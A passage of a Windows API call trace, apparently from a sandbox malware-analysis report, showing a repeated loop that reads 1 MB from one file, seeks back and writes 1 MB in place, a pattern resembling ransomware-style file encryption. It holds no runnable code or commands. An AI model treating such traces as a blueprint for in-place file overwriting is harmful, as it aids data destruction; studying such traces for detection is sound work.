	[0101.427] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0101.428] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.431] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0101.436] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0101.441] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0101.455] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.459] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.459] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0101.461] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.464] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0101.474] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0101.492] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0101.505] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.507] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.507] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0101.509] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.512] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0101.517] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0101.523] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0101.533] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.537] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.537] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0101.538] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.541] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0101.555] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0101.564] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0101.579] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.583] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.583] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0101.585] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.594] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0101.600] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0101.610] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0101.630] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.634] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.634] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0101.636] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.640] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0101.660] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0101.673] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0101.784] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.788] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.788] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0101.790] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.793] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0101.798] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0101.803] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0101.817] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.820] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.820] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0101.821] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.824] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0101.832] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0101.853] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0101.870] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.873] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.873] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0101.875] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.878] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0101.884] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0101.888] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0101.900] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.903] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.903] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0101.905] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.908] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0101.916] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0101.936] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0101.949] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.952] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.952] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0101.954] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.957] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0101.962] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0101.967] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0101.980] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.984] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.984] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0101.986] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0101.990] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0101.999] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0102.022] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0102.039] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.042] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.042] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0102.044] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.048] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0102.055] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0102.061] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0102.075] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.078] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.078] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0102.079] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.082] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0102.091] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0102.100] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0102.118] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.121] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.121] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0102.123] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.126] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0102.133] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0102.139] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0102.151] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.154] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.154] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0102.156] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.159] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0102.168] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0102.189] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0102.205] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.209] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.209] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0102.211] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.215] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0102.225] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0102.230] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0102.244] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.247] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.247] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0102.249] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.252] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0102.259] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0102.269] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0102.289] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.292] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.292] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0102.293] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.296] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0102.301] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0102.307] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0102.321] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.325] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.325] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0102.327] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.331] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0102.341] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0102.426] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0102.459] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.462] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.462] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0102.464] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.467] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0102.473] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0102.479] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0102.496] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.499] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.499] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0102.500] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.503] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0102.510] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0102.521] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0102.541] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.544] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.544] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0102.546] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.550] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0102.557] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0102.567] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0102.584] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.587] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.587] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0102.589] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.593] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0102.608] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
